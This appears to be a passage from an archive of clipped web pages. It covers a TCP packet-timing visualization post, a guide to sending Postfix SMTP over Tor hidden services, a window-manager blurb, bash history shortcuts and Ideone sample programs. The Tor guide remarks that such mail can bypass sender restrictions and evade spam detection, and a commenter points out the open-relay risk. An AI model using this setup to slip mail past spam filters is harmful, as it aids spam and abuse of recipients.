overlap enough that they disappear.

When I saw the video, it reminded me of the ever-present videos of sorting
algorithms, like the ones on the Wikipedia heapsort and quicksort pages:

<img src='img/Temp2_8992.gif' /> <img src='img/Temp2_8988.gif' />

That in turn reminded me of a 2007 blog post by Aldo Cortesi about visualizing
sorting algorithms using graphs instead of videos. He points out that the
animations make time-based questions difficult to answer:

> \[It\] is my measured opinion that this animation has all the explanatory
> power of a glob of porridge flung against a wall. To see why I say this, try
> to find rough answers to the following set of simple questions with
> reference to it:
>   * After what percentage of time is half of the array sorted?
>   * Can you find an element that moved about half the length of the array to
> reach its final destination?
>   * What percentage of the array was sorted after 80% of the sorting
> process? How about 20%?
>   * Does the number of sorted elements grow linearly or non-linearly with
> time \(i.e. logarithmically or exponentially\)?
>

> If you thought that was harder than it needed to be, blame animation. First,
> while humans are great at estimating distances in space, they are pretty bad
> at estimating distances in time. This is why you had to watch the animation
> two or three times to answer the first question. When we translate time to a
> geometric length, as is done in any scientific diagram with a time
> dimension, this estimation process becomes easy. Second, many questions
> about sorting algorithms require us to actively compare the sorting state at
> two or more different time points. Since we don't have perfect memories,
> this is very, very hard in all but the simplest cases. This leaves us with a
> strangely one-dimensional view into an animation - we can see what's on
> screen at any given moment, but we have to strain to answer simple questions
> about, say, rates of change. Which is why the final question is hard to
> answer accurately.
Instead, he suggests plotting static graphs showing the paths of individual
array elements over time. Here are his original visualizations of heapsort and
quicksort:

<img src='img/Temp2_8989.gif' width='655' height='210' /> <img
src='img/Temp2_8990.gif' width='655' height='210' />

The blog post is worth reading in full. It has much more detail and links to
many other interesting blog posts and a new site dedicated to those
visualizations, sortvis.org.

Remembering this made me wonder if the lesson of the sorting animations
applied to the TCP animations too, so I collected my own tcpdumps of both
sides of an HTTP GET, pulled out the trusty \(but neglected\) Unix tool
_join_\(1\) to produce a dump with two timestamps on each packet, and then
used Perl to turn it into a graph \(raw PostScript\):

<img src='img/Temp2_8991.gif' width='655' height='1134' />

Time marches to the right, with each row picking up where the previous one
left off. Blue lines indicate packets from the client and black lines indicate
packets from the server.

I think this kind of graph has the same important benefits that Cortesi
realized with his sorting graphs. It's static, so you have time to study it,
focus on anomalies, or notice patterns that aren't immediately apparent. The
geometry of the lines, with flatter slopes corresponding to slower packets,
makes it easy to compare speeds.

Here are just a few things I noticed.

The connection starts with the usual 3-way TCP handshake. The client sends the
third packet in the handshake and the first data packet back to back, one of
its few back-to-back transmissions. After the handshake and the initial GET,
which probably fits entirely in that first packet, the client only receives
data: the black lines are large payloads while the blue lines are ACK messages
that trigger more payloads. Scanning across the client's view of the
connection \(the top edge of each row\) we can see that the client is using
the standard delayed ACKs, sending an ACK every two packets. Scanning across
the server's view of the connection \(the bottom edge of each row\) we can see
that the server usually responds to the acknowledgement of two packets by
sending two more packets, leaving the TCP window size \(the number of packets
in flight\) unchanged. Occasionally, though, the server grows the window size
by responding with three packets instead of two. Three of these events are
circled in rows 1 and 2. Occasionally the server only responds to an ACK with
a single packet, but most of those appear to be times when the client was only
acknowledging a single packet.

We can count the number of packets in flight at any given time by counting the
number of black lines that cross a particular blue line, plus the number of
packets sent when the blue line reaches the server. For example, three black
lines cross the last complete blue line on row 1, and the server sends two
more packets in response, so the window size then is five packets. By the end
of row 2, the window size is seven packets.

The window size fluctuates a little once it stabilizes: at the end of row 10
it has grown to eight packets but at the end of row 20 it is back to seven.
It's not clear what causes the server to shrink or grow the window size. I
couldn't find any evidence of packet loss in the traces.

I set the time axis such that those initial packets travel on lines with a 2:1
slope. A glance down the page shows that while the packets sent by the client
continue to travel at approximately that speed, the packets sent by the server
gradually slow until row 3, where they appear to stabilize around a 1:2 slope,
four times longer to send than the initial packets. Looking at the raw data,
those later packets around 100 ms for a one-way trip compared to 20 ms during
the original handshake, so our visual estimate is not far off. This is
evidence of queueing along the path from server to client; the likely suspect
is the server's upstream DSL connection.

The circled fragment on row 11 is more evidence of queuing. Something delays
the ACK from client to server \(note the more gradual slope\) but the packets
that the server sends in response are not noticeably delayed: they still had
time to catch up with the bottlenecked packets.

The circled fragment on row 24 shows the opposite case. Most of the time the
packet arrivals at the client are evenly spaced, but if a few packets from the
server to the client get delayed, that delays the corresponding ACKs, which
throws the conversation into a bursty behavior that takes a few rounds to
convert to a steady state.

People more familiar with TCP might notice other interesting details in the
plot. If you find something, please leave a comment.

Of course, the idea of plotting network packets against time in this way is
not new: any class in network protocols uses diagrams like these. However, I
have never seen a diagram like this one made from real timings on both sides,
so that you can see the actual speeds of individual packets and compare the
relative speeds of different packets, and I've never seen a diagram that was
this zoomed out, so that you can see macro effects like the occasional
congestion burp of rows 11 and 24. It would be interesting to have a tool that
generated these automatically, but I rarely have a need to examine protocols
at this level so I'm not likely to spend more time on it. If you know of \(or
make\) such a tool, please leave a comment.

Posted by rsc on Monday, December 13, 2010  

Labels: networks, visualization

# SMTP over Hidden Services with postfix | Into.the.Void.
**Created:**| _6/26/2014 12:30:48 PM_  
---|---  
**Updated:**| _6/26/2014 12:30:48 PM_  
**Author:**| __  
**Tags:**| _privacy spam_  
  

# SMTP over Hidden Services with postfix

More and more privacy experts are nowdays calling people to move away from the
email service provider giants \(gmail, yahoo\!, microsoft, etc\) and are
urging people to set up their own email services, to “decentralize”. This
brings up many many other issues though, and one of which is that if only a
small group people use a certain email server, even if they use TLS, it’s
relatively easy for someone passively monitoring \(email\) traffic to
correlate who \(from some server\) is communicating with whom \(from another
server\). Even if the connection and the content is protected by TLS and GPG
respectively, some people might feel uncomfortable if a third party knew that
they are actually communicating \(well these people better not use email, but
let’s not get carried away\).

This post is about sending SMTP traffic between two servers on the Internet
over Tor, that is without someone being able to easily see who is sending what
to whom. IMHO, it can be helpful in some situations to certain groups of
people.

There are numerous posts on the Internet about how you can Torify all the SMTP
connections of a postfix server, the problem with this approach is that most
exit nodes are blacklisted by RBLs so it’s very probable that the emails sent
will either not reach their target or will get marked as spam. Another
approach is to create hidden services and make users send emails to each other
at their hidden service domains, eg username@a2i4gzo2bmv9as3avx.onion. This is
quite uncomfortable for users and it can never get adopted.

There is yet another approach though, the communication could happen over Tor
hidden services that real domains are mapped to.

**HOWTO**  
Both sides need to run a Tor client:  
`aptitude install tor torsocks`

The setup is the following, the postmaster on the receiving side sets up a Tor
Hidden Service for their SMTP service \(receiver\). This is easily done in his
server \(server-A\) with the following line in the torrc:  
`HiddenServicePort 25 25`. Let’s call this HiddenService-A
\(abcdefghijklmn12.onion\). He then needs to notify other postmasters of this
hidden service.

The postmaster on the sending side \(server-B\) needs to create 2 things, a
torified SMTP service \(sender\) for postfix and a transport map that will
redirect emails sent to domains of server-A to HiddenService-A.

Steps needed to be executed on server-B:  
1\. Create _/usr/lib/postfix/smtp\_tor_ with the following content:

[code]

    #!/bin/sh
    
    usewithtor /usr/lib/postfix/smtp $@
[/code]

2\. Make it executable  
`chmod +x /usr/lib/postfix/smtp_tor`

3\. Edit _/etc/postfix/master.cf_ and add a new service entry  
`smtptor unix - - - - - smtp_tor`

4\. If you don’t already have a transport map file, create
_/etc/postfix/transport_ with content \(otherwise just add the following to
your transport maps file\):

[code]

    .onion              smtptor:
    domain-a.net        smtptor:[abcdefghijklmn12.onion]
    domain-b.com        smtptor:[abcdefghijklmn12.onion]
[/code]

5\. if you don’t already have a transport map file edit _/etc/postfix/main.cf_
and add the following:  
`transport_maps = hash:/etc/postfix/transport`

6\. run the following:  
`postmap /etc/postfix/transport && service postfix reload`

**Conclusion**  
Well that’s about it, now every email sent from a user of server-B to
username@domain-a.net will actually get sent over Tor to server-A on its
HiddenService. Since HiddenServices are usually mapped on 127.0.0.1, it will
bypass the usual sender restrictions. Depending on the setup of the receiver
it might even evade spam detection software, so beware…If both postmasters
follow the above steps then all emails sent from users of server-A to users of
server-B and vice versa will be sent anonymously over Tor.

There is nothing really new in this post, but I couldn’t find any other posts
describing such a setup. Since it requires both sides to actually do something
for things to work, I don’t think it can ever be used widely, but it’s still
yet another way to take advantage of Tor and Hidden Services.

**Concerns**  
Can hidden services scale to support hundreds or thousands of connections e.g.
from a mailing list ? who knows…  
This type of setup needs the help of big fishes \(large independent email
providers like Riseup\) to protect the small fishes \(your own email server\).
So a new problem arises, bootstrapping and I’m not really sure this problem
has any elegant solution. The more servers use this setup though, the more
useful it becomes against passive adversaries trying to correlate who
communicates with whom.  
The above setup works better when there are more than one hidden services
running on the receiving side so a passive adversary won’t really know that
the incoming traffic is SMTP, eg when you also run a \(busy\) HTTP server as a
hidden service at the same machine.  
Hey, where did MX record lookup go ?

**Trying it**  
If anyone wants to try it, you can send me an email using
voidgrz25evgseyc.onion as the Hidden SMTP Service \(in the transport map\).

**Links:**  
http://www.postfix.org/master.5.html  
http://www.groovy.net/ww/2012/01/torfixbis

<img src='img/Temp2_7173.gif' alt='*' /> Filed by kargig at 22:14 under
Encryption,Internet,Linux,Networking,Privacy  
Tags: email, hidden service, postfix, Privacy, smtp, tor  
| 2,727 views

##  One Response to “SMTP over Hidden Services with postfix”

  1. Using <img src='img/Temp2_7172.gif' width='14' height='14' alt='Mozilla Firefox' /> Mozilla Firefox 29.0 on <img src='img/Temp2_7171.gif' width='14' height='14' alt='Windows' /> Windows 7
Be careful not to create an open relay\! I’ve talked to your mailserver a bit
and it behaves like an open relay, except it rejected my “data” command after
“rcpt to”. 127.0.0.1 is often allowed to send mail to every server without
authentication, you definitely don’t want that. I’ve avoided this using tags
on my OpenSMTPD server.

Also, all exit nodes reject port 25, that’s the reason why you can’t send mail
via tor exit nodes.

I did my own research on this lately, I’m using a more transparent approach
using a dns server and tors TransPort option. I’m probably going to publish
this soon. I appreciate your research and I think this needs to be a thing
very soon.

## Leave a reply

name \(required\)

email \(will not be shown\) \(required\)

website

Swipe lock to Unlock before pressing Submit Comment

Notify me of followup comments via e-mail

# GridMove - DonationCoder.com

**Created:**| _10/25/2010 2:18:18 PM_  
---|---  
**Updated:**| _10/26/2010 7:31:35 AM_  
**Author:**| _wishi_  
**Tags:**| _windows Lab-Setup windows environment awesome_  
  

Overview:

GridMove is a program that aims at making windows management easier. It helps
you with this task by defining a visual grid on your desktop, to which you can
easily snap windows. This program comes bundled with some predefined grid
templates, that can be easily swaped, but also has ways of creating custom
grids or sharing grids made by others.

GridMove makes moving windows, resizing windows, displaying them on cascade or
on mosaic, making them on top or anything you can think of as easy as drag and
drop.

This tool was made taking in mind those who own big screens and keep
organizing their windows. This program is specially useful for anyone that
keeps more than 1 window on the screen at one time, because it helps the user
to maximize the usable space of the monitor, by resizing the windows in a much
easier way than moving and resizing them one by one.

Thanks to its simple interaction methods, GridMove becomes intuitive and fast,
helping you to improve your workflow.

**Features:**

  * 3 different interaction methods to suit everyone's likes
  * Several pre-made grid templates that can be easily swaped
  * Ability to set windows on top and maximize them vertically or horizontally
  * Full keyboard support, which can organize windows with one hotkey press
  * **MultiMonitor Support**
  * Customizable hotkeys
  * Customizable interface
  * Possibility to create dynamic custom grids
  * Complete help file

<img src='img/div_bluebar.gif' width='450' height='5' />

Screenshot:  
<img src='img/GridMoveSmall.gif' />

<img src='img/div_bluebar.gif' width='450' height='5' />

If you like **GridMove** , you might want to check out some of my other ahk
scripts.

<img src='img/div_bluebar.gif' width='450' height='5' />





<img src='img/4640_88x31.png' alt='Creative Commons License' />  
This work is licensed under a Creative Commons Attribution-Noncommercial-Share
Alike 3.0 United States License.

# Command Line Kung Fu: Episode \#14 - Command Line Shortcuts

**Created:**| _5/16/2009 10:33:44 AM_  
---|---  
**Updated:**| _5/16/2009 10:33:48 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#14 - Command Line Shortcuts

Paul Writes In:  
  
Since the gloves are coming off, I would like to highlight a couple of
features in the UNIX/Linux command line that save me some time and help foster
my loving relationship with Bash \(just don't tell my wife\). As I've stated
before, I really hate to type, so I tend to use as many shortcuts as I can,
for example:  
  
If I run the following command:  
  

[code]

    $ ls -l /home/windows
    
[/code]

  
  
It will list the contents of the /home/windows directory \(don't worry it gets
better\). If I've copied files into that directory and want to run that
command again I can type:  
  

[code]

    $ !ls
    
[/code]

  
  
Which will execute the last command that I ran containing the string "ls".
Lets keep the fun going and run the following command:  
  

[code]

    $ ^windows^linux
    
[/code]

  
  
This command will run my previous command and replace the string "windows"
with "linux" \(some would say "upgrade" my command\). If I want to run my
previous command I can use the following:  
  

[code]

    $ !!
    
[/code]

  
  
I also use the following technique quite often:  
  

[code]

    $ ls !$
    
[/code]

  
  
The \!$ is the last parameter of your previous command. Now, you may feel like
a hotshot using this Kung Fu, however try not to use them in conjunction with
the "rm" command \(like \!rm\) because you may be in the "/" directory instead
of "/tmp" :\)  
  
Hal Says:  
  
Strictly speaking, "\!ls" means run the last command line that  _starts with_
"ls", not the last command that contains "ls":  
  

[code]

    $ **ls -l /usr/bin/file**  
     -rwxr-xr-x 1 root root 16992 May 24  2008 /usr/bin/file  
    $ **file /bin/ls**  
     /bin/ls: ELF 64-bit LSB executable, AMD x86-64, ...  
    $ **!ls**  
     ls -l /usr/bin/file  
    -rwxr-xr-x 1 root root 16992 May 24  2008 /usr/bin/file
    
[/code]

  
As Paul points out, however, it can be dangerous to just pop off with
"\!somecommand" when you're not sure what's in your history. Luckily, there's
the ":p" option which prints the command that would be executed without
actually running the command:  
  

[code]

    # **!/etc:p**  
     /etc/init.d/named restart  
    # **!!**  
     /etc/init.d/named restart  
    Stopping named: .........                        [  OK  ]  
    Starting named:                                  [  OK  ]
    
[/code]

  
Notice that ":p" puts the command into the "last command" buffer so that you
can immediately execute it with "\!\!" if it turns out to be the command you
want.  
  
But what if it isn't the command you want? Did you know you can search your
history interactively? Just hit <Ctrl>-R and start typing characters that
match some string in your command history-- unlike "\!command", the matching
happens anywhere in the string, not just at the front of the command line.
Additional <Ctrl>-R's will search backwards from the current match using the
given search string. Once you find the command you want, just hit <Enter> to
execute it, or use the normal command-line editing tools to change it. Use
<Ctrl>-C to abort the command without executing anything.  
  
By the way, while "\!\!" gives you the previous command, "\!-2" gives you the
command  _before_ the previous command, "\!-3" goes three commands back, and
so on. For example, suppose I was watching the size of a log file and making
sure the partition it was in was not running out of space, I might alternate
two commands:  
  

[code]

    # **ls -l mail.20090312**  
     -rw------- 1 root root 392041 Mar 12 14:14 mail.20090312  
    # **df -h .**  
     Filesystem            Size  Used Avail Use% Mounted on  
    /dev/mapper/Root-Var   20G  3.7G   15G  20% /var  
    # **!-2**  
     ls -l mail.20090312  
    -rw------- 1 root root 392534 Mar 12 14:16 mail.20090312  
    # **!-2**  
     df -h .  
    Filesystem            Size  Used Avail Use% Mounted on  
    /dev/mapper/Root-Var   20G  3.7G   15G  20% /var  
    # **!-2**  
     ls -l mail.20090312  
    -rw------- 1 root root 393068 Mar 12 14:20 mail.20090312  
    # **!-2**  
     df -h .  
    Filesystem            Size  Used Avail Use% Mounted on  
    /dev/mapper/Root-Var   20G  3.7G   15G  20% /var
    
[/code]

  
By the way, the "\!<n>" thing also works with argument substitutions like
"\!$":  
  

[code]

    # **cp ~hal/.profile ~hal/.bashrc ~paul**  
     # **chown paul ~paul/.profile ~/.bashrc**  
     # **cd !-2$**  
     cd ~paul
    
[/code]

  
And speaking of "\!$", did you know that "\!\*" means "use all previous
arguments"? For example:  
  

[code]

    # **touch file1 file2 file3**  
     # **chmod 600 !***  
     chmod 600 file1 file2 file3  
    # **chown hal !-2***  
     chown hal file1 file2 file3
    
[/code]

  
The replacement operator \("^foo^bar"\) is awesomely useful. Here's a cool
trick that I use a lot:  
  

[code]

    # **make -n install**  
    ...  
    # **^-n**  
     make  install  
    ...
    
[/code]

  
In other words, I used a null substitution to remove the "-n" operator from
the previous command line once I had assured myself that "make" was going to
do the right thing.  
  
The only problem with the replacement operator is that it only works on the
_first_ instance of the string in the previous command:  
  

[code]

    # **cp passwd passwd.new**  
     # **^passwd^shadow**  
     cp shadow passwd.new
    
[/code]

  
Obviously, this is not what we want. The following syntax works:  
  

[code]

    # **cp passwd passwd.new**  
     # **!:gs/passwd/shadow/**  
     cp shadow shadow.new
    
[/code]

  
I'm just not sure that's any quicker than manually editing the previous
command.  
  
Ed comments:  
  
Holy frijoles\! That's a lot of fu, Hal. Lot of fu.  
  
On Windows, accessing shell history isn't quite as fine-grained, but we've got
some useful options in cmd.exe.  
  
With a cmd.exe on the screen, we can hit the F7 key to see our command
history.  
  
<img src='img/Temp2_1518.jpg' />Scroll up or down, and you can then hit the
Enter key to re-run the command. Hit the right or left arrow, and it'll retype
the command, letting you edit it and then re-run it.  
  
See those numbers next to the commands when you hit F7? If you hit the F9 key,
it prompts you for a command number to re-execute. Type in the appropriate
number, hit Enter, and your command is re-typed, letting you edit it.  
  
To clear this history, you can hit ALT-F7.  
  
If you want to see your recent history \(up to 50 commands stored by default\)
in standard output, run:  
  

[code]

    C:\> doskey /history  
    
    
[/code]

So, it's not as scrumdiliously awesome as what you guys have over on Linux,
but it's very workable. Heck, some might even say that it's usable... barely.
;\)

# luispedro/BuildingMachineLearningSystemsWithPython · GitHub

**Created:**| _10/4/2013 10:37:49 AM_  
---|---  
**Updated:**| _10/4/2013 10:37:49 AM_  
**Author:**| __  
**Tags:**| __  
  

# **l** uispedro/BuildingMachineLearningSystemsWithPython · GitHub****

Source Code for the book Machine Learning Systems with Python

****

# Ideone.com | Online IDE & Debugging Tool >> C/C++, Java, PHP, Python, Perl and 40+ compilers and intepreters
**Created:**| _5/14/2011 7:10:52 PM_  
---|---  
**Updated:**| _5/14/2011 7:10:52 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

Few samples of codes are presented below. You can click _run_ to execute the
code.

  * go to: 
  * Ada
  * Assembler
  * Assembler
  * AWK \(gawk\)
  * AWK \(mawk\)
  * Bash
  * bc
  * Brainf\*\*k
  * C
  * C\#
  * C++
  * C++0x
  * C99 strict
  * CLIPS
  * Clojure
  * COBOL 85
  * Common Lisp \(clisp\)
  * D \(dmd\)
  * Erlang
  * F\#
  * Factor
  * Falcon
  * Fortran
  * Go
  * Groovy
  * Haskell
  * Icon
  * Intercal
  * Java
  * JavaScript \(rhino\)
  * JavaScript \(spidermonkey\)
  * Lua
  * Nemerle
  * Nice
  * Nimrod
  * Objective-C
  * Ocaml
  * Oz
  * Pascal \(fpc\)
  * Pascal \(gpc\)
  * Perl
  * Perl 6
  * PHP
  * Pike
  * Prolog \(swi\)
  * Python
  * Python 3
  * R
  * Ruby
  * Scala
  * Scheme \(guile\)
  * Smalltalk
  * SQL
  * Tcl
  * Text
  * Visual Basic .NET
  * Whitespace

  
  

Ada \(gnat-4.3.2\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
[/code]

|

[code]

    with Ada.Integer_Text_Io, Ada.Text_Io;
    use Ada.Integer_Text_Io, Ada.Text_Io;
     
    procedure Test is
       subtype Small is Integer range 0..99;
       Input : Small;
    begin
       loop
          Get(Input);
          if Input = 42 then
             exit;
          else 
             Put (Input);  
             New_Line;
          end if;
       end loop;
    end;
[/code]  
---|---  
Assembler \(nasm-2.07\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    
[/code]

|

[code]

            global _start
     
    section .data
            buffer  dw      0h
     
    section .text
     
    _start:
            mov             ecx, buffer
            mov             edx, 02h
            call            read
            mov             cx, word [buffer]
            cmp             cx, 3234h
            je              exit
            cmp             ch, 0ah
            je              one_dig
            jmp             two_dig
     
    one_dig:
            mov             ecx, buffer
            mov             edx, 02h
            call            write
            jmp             _start
     
    two_dig:
            mov             ecx, buffer
            mov             edx, 02h
            call            write
            mov             edx, 01h
            mov             ecx, buffer
            call            read                    ; read the 0ah
            mov             ecx, buffer
            call            write                   ; write the 0ah
            jmp             _start
     
    exit:
            mov             eax, 01h                ; exit()
            xor             ebx, ebx                ; errno
            int             80h
     
     
    read:
            mov             eax, 03h                ; read()
            mov             ebx, 00h                ; stdin
            int             80h
            ret
    write:
            mov             eax, 04h                ; write()
            mov             ebx, 01h                ; stdout
            int             80h
            ret
[/code]  
---|---  
Assembler \(gcc-4.3.4\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    
[/code]

|

[code]

    .data
    x:
            .long   0
    s:
            .string "%d\n\0"
     
    .text
    .global main
    main:                           # int main()
                                    # {
    loop:                           #       for (;;) {
            pushl   $x              #               scanf("%d", &x);
            pushl   $s
            call    scanf
            addl    $8, %esp
     
            movl    x, %eax         #               if (x == 42) break;
            subl    $42, %eax
            jz      break
     
            pushl   x               #               printf("%d\n", x);
            pushl   $s
            call    printf
            addl    $8, %esp
     
            jmp     loop            #       }
    break:
     
            xor     %eax, %eax      #       return 0;
            ret
                                    # }
     
[/code]  
---|---  
AWK \(gawk\) \(gawk-3.1.6\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    {
            num = $1;
            if(num == 42)
                    exit;
            else
                    printf("%d\n", num);
    }
[/code]  
---|---  
AWK \(mawk\) \(mawk-1.3.3\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    {
            num = $1;
            if(num == 42)
                    exit;
            else
                    printf("%d\n", num);
    }
[/code]  
---|---  
Bash \(bash 4.0.35\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    #!/bin/bash
    while true
    do
            read line
            if [ $line -eq 42 ]
            then 
                    exit 0
            fi
            echo $line
    done
[/code]  
---|---  
bc \(bc-1.06.95\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    
[/code]

|

[code]

    /* read the numbers; notice: ech line of the input must be followed by an EOF character */
    x = read();
     
    /* multiplication table */
    for (i=1; i<=x; ++i)
    {
            for (j=1; j<=x; ++j) print i*j, "\t"
            print "\n"
    }
     
    /* compute the pi number accurately to 10 decimal places */
    scale=x
    print "\npi = ", 4*a(1), "\n"
     
    /* factorial */
    define f(n)
    {
            if (n <= 1) return 1;
            return n * f(n-1);
    }
     
    print "\n";
    print "1! = ", f(1), "\n";
    print "5! = ", f(5), "\n";
    print x, "! = ", f(x), "\n";
     
[/code]  
---|---  
Brainf\*\*k \(bff-1.0.3.1\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    >+[>>,----------[>,----------]+++++[<-------->-]<[>>-<]>+[
    -<+++++++[<------>-]<[>>-<]>+[
    -<<[>>-<]>+[<<->>->]>
    ]<+++++++[<++++++>-]>>
    ]<++++++++[<+++++>-]<
    [<]<[>>[++++++++++.>]++++++++++.[[-]<]]<]
[/code]  
---|---  
C \(gcc-4.3.4\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    #include <stdio.h> 
     
    int main(void) { 
      int x; 
      for(; scanf("%d",&x) > 0 && x != 42; printf("%d\n", x)); 
      return 0; 
    } 
[/code]  
---|---  
C\# \(mono-2.8\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    using System;
    public class Test
    {
            public static void Main()
            {
                    int n;
                    while ((n = int.Parse(Console.ReadLine()))!=42)
                            Console.WriteLine(n);
            }
    }
[/code]  
---|---  
C++ \(gcc-4.3.4\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
[/code]

|

[code]

    #include <iostream>
    using namespace std;
     
    int main() {
     
            int intNum = 0;
            
            cin >> intNum;
            while (intNum != 42) {
                    cout << intNum << "\n";
                    cin >> intNum;
            }
     
            return 0;
     
    }
[/code]  
---|---  
C++0x \(gcc-4.5.1\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
[/code]

|

[code]

    #include <iostream>
    using namespace std;
     
    int main() {
     
            int intNum = 0;
            
            cin >> intNum;
            while (intNum != 42) {
                    cout << intNum << "\n";
                    cin >> intNum;
            }
     
            return 0;
     
    }
[/code]  
---|---  
C99 strict \(gcc-4.3.4\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    #include <stdio.h> 
     
    int main(void){  
     
      int liczba;  
     
      for ( ; (scanf("%d",&liczba) > 0) && (liczba != 42) ; printf("%d\n", liczba) );  
     
      return 0;
    }
[/code]  
---|---  
CLIPS \(clips 6.24\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
[/code]

|

[code]

    (defrule readin
            ?f<-(initial-fact)
    =>
            (retract ?f)
            (assert (number (read)))
    )
     
    (defrule writeout
            ?f<-(number ?n)(test (<> ?n 42))
    =>
            (retract ?f)
            (printout t ?n crlf)
            (assert (initial-fact))
    )
     
    (reset)
     
    (run)
     
    (exit)
     
[/code]  
---|---  
Clojure \(clojure 1.1.0\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
[/code]

|

[code]

    (defn bottles [n & [capitalize]]
      (str (if (> n 0) n (if capitalize "No more" "no more"))
        " bottle" (if (= 1 n) "" "s") " of beer" ))
     
    (defn bot-wall [n & cap] (str (bottles n cap) " on the wall"))
     
    (defn sing
      ;  Default is 99 times.
      ([]  (sing 99))
      ([stock]
        (doseq [i (range stock -1 -1)]
          (printf "%s, %s.\n%s.\n\n"
            (bot-wall i true) (bottles i)
            (apply str
              (if (> i 0)
                ["Take one down and pass it around, " (bot-wall (dec i))]
                ["Go to the store and buy some more, " (bot-wall stock)]
              ))))))
     
    (sing)
[/code]  
---|---  
COBOL 85 \(tinycobol-0.65.9\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
[/code]

|

[code]

            IDENTIFICATION DIVISION.
            PROGRAM-ID. SAMPLE.
     
            ENVIRONMENT DIVISION.
     
            DATA DIVISION.
            WORKING-STORAGE SECTION.
            77 n PIC Z9 .
     
            PROCEDURE DIVISION.
                    ACCEPT n
                    PERFORM UNTIL n = 42
                            DISPLAY n
                            ACCEPT n
                    END-PERFORM.
                    STOP RUN.
     
[/code]  
---|---  
Common Lisp \(clisp\) \(clisp 2.47\) run download

[/code]

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    (loop 
            for line = (read-line *standard-input* nil nil) 
            while (not (equal line "42")) 
            do (format t "~A~%" line))
[/code]  
---|---  
D \(dmd\) \(dmd-2.042\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    import std.c.stdio;
     
    int main() {
        int x;
        while (scanf("%d", &x) && x!=42) printf ("%d\n", x);
        return 0;
    }
[/code]  
---|---  
Erlang \(erl-5.7.3\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
[/code]

|

[code]

    -module(prog).
    -export([main/0]).
     
    main() ->
            loop().
    loop() ->
            case io:fread( "","~d" ) of
                    eof ->
                            true;
                    {ok, X} ->
                            [Y] = X,
                            if
                                    Y == 42 ->
                                            true;
                                    true ->
                                            io:fwrite( "~B\n",X ),
                                            loop()
                            end
            end.
[/code]  
---|---  
F\# \(fsharp-2.0.0\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    open System
     
    let mutable num = System.Console.ReadLine()
    while not(System.String.Equals(num, "42", System.StringComparison.CurrentCultureIgnoreCase)) do
        System.Console.Write(num)
        num <- System.Console.ReadLine()
        System.Console.WriteLine()
     
[/code]  
---|---  
Factor \(factor-0.93\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
[/code]

|

[code]

    ! Copyright (C) 2006 Daniel Ehrenberg
    ! See http://factorcode.org/license.txt for BSD license.
    USING: kernel math sequences strings io combinators ascii ;
    IN: rot13
     
    : rotate ( ch base -- ch ) [ - 13 + 26 mod ] [ + ] bi ;
     
    : rot-letter ( ch -- ch )
        {
            { [ dup letter? ] [ CHAR: a rotate ] }
            { [ dup LETTER? ] [ CHAR: A rotate ] }
            [ ]
        } cond ;
     
    : rot13 ( string -- string ) [ rot-letter ] map ;
     
    : rot13-demo ( -- )
        "Please enter a string:" print flush
        readln [
            "Your string: " write dup print
            "Rot13:       " write rot13 print
        ] when* ;
     
    MAIN: rot13-demo
     
    rot13-demo
     
[/code]  
---|---  
Falcon \(falcon-0.9.6.6\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    x = int(input()) 
    while x != 42
      printl(x)
      x = int(input())
    end
     
[/code]  
---|---  
Fortran \(gfortran-4.3.4\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
[/code]

|

[code]

            program TEST 
                    integer ans 
                    do 
                            read (*,*) ans 
                            if (ans.eq.42) stop 
                            write (*,*) ans 
                    enddo 
                    stop 
            end
[/code]  
---|---  
Go \(gc-2010-07-14\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]
